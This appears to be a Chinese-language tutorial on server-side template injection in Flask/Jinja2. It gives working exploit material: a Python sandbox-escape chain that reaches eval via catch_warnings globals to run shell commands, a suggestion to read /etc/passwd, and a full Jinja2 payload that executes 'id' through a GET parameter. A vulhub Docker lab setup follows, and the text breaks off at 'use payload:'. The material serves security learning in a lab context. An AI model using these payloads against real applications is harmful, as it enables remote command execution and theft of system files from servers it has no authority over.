目录
描述
Flask(也被称为“microframework”) 是一个微型的Python开发的Web框架,基于Werkzeug WSGI工具箱和Jinja2 模板引擎。 Flask使用起来非常简单,应用Extension增加其他功能:ORM、窗体验证工具、文件上传、各种开放式身份验证技术。
环境安装flask
>>> pip3 install Flask
>>> python3 hello.py
#hello.py
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ =="__main__":
app.run()
原理
Flask 依赖两个外部库: Jinja2 模板引擎和 Werkzeug WSGI 工具集。
- 在模板环境中注册函数,可访问python中的一些内置函数及其方法;
- 可利用Python 沙盒环境逃逸绕过注册方式,进而调用python内置对象;
以上就是flask模板注入漏洞的例子,使用template 函数去调用 name 参数;造成注入;
python3 flaskVul.py
http://127.0.0.1:5000/?name={{3*4}} 发现3x4等于12被执行了;使用get的请求方式调用name参数;证明存在漏洞
沙盒中常用的绕过注册的函数
__bases__ #以元组返回一个类直接所继承的类
__mro__ #以元组返回继承关系链
__class__ #返回对象所属的类
__globals__ #以dict返回函数所在模块命名空间中的所有变量
__subclasses__() #以列表返回类的子类
_builtin_ #内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。
PS:在py3中__builtin__被换成了builtin
沙盒逃逸方式进行命令执行
通过调用eval 函数,执行系统命令读取的方式,whoami
for c in [].__class__.__base__.__subclasses__():
if c.__name__ == 'catch_warnings':
for b in c.__init__.__globals__.values():
if b.__class__ == {}.__class__:
if 'eval' in b.keys():
data = b['eval']('__import__("os").popen("whoami").read()')
print(data)
更改一下获取的内容 cat /etc/passwd
直接通过GET方式进行命令执行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
ps -ef
过程
搭建docker下的flask的注入漏洞环境,vulhub;
下载vulhub包从github上,找到flask目录ssti下
>>>docker-compose build
>>>docker-compose up -d
发生错误;进行排查
[root@localhost ssti]# systemctl status docker.service 查看状态,发现没起来
启动docker服务
service docker start
设置成自启动
systemctl enable docker.service
继续运行
通过”docker ps”指令查看运行状态
进行访问使用payload: